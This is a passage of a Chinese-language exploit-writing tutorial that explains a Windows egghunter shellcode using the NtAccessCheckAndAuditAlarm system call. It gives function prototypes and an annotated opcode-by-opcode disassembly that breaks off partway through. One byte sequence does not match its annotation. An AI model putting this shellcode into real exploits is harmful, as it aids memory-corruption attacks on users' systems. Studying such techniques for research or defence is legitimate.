编辑: 匕趟臃39 | 2015-08-25 |
这个方案使用 NTAccessCheckAndAuditAlarm(KiServiceTable 中位移值为 0x02)函数来代替了 NtDisplayString 来防止 寻蛋时的访问冲突(access violations).你可以从以下这个位置(或这里)找到更多关于 NtAccessCheck 的信息. 我的朋友 Lincoln 做了一个不错的关于这个寻蛋方案的 Video:你可以到这里看观看. 利用 NtDisplayString/NtAccessCheckAndAuditAlarm 的寻蛋方案的工作原理的简单 介绍 这两个方案使用类似的技术,但不同的系统调用来检查是否有访问冲突(access violation)发生. NtDisplayDtring 函数原型: NtDisplayString(IN PUNICODE_STRING String );
NtAccessCheckAndAuditAlarm 函数原型: NtAccessCheckAndAuditAlarm( IN PUNICODE_STRING SubsystemName OPTIONAL, IN HANDLE ObjectHandle OPTIONAL, IN PUNICODE_STRING ObjectTypeName OPTIONAL, IN PUNICODE_STRING ObjectName OPTIONAL, IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN ACCESS_MASK DesiredAccess, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PULONG GrantedAccess, OUT PULONG AccessStatus, OUT PBOOLEAN GenerateOnClose );
(更多函数原型可以在以下地址找到:http://undocumented.ntinternals.net/) 下面是寻蛋函数的详细解释: 6681CAFF0F or dx,0x0fff ;
get last address in page
42 inc edx ;
acts as a counter ;
(increments the value in EDX)
52 push edx ;
pushes edx value to the stack ;
(saves our current address on the stack) 6A43 push byte +0x2 ;
push 0x2 for NtAccessCheckAndAuditAlarm ;
or 0x43 for NtDisplayString to stack
58 pop eax ;
pop 0x2 or 0x43 into eax ;
so it can be used as ........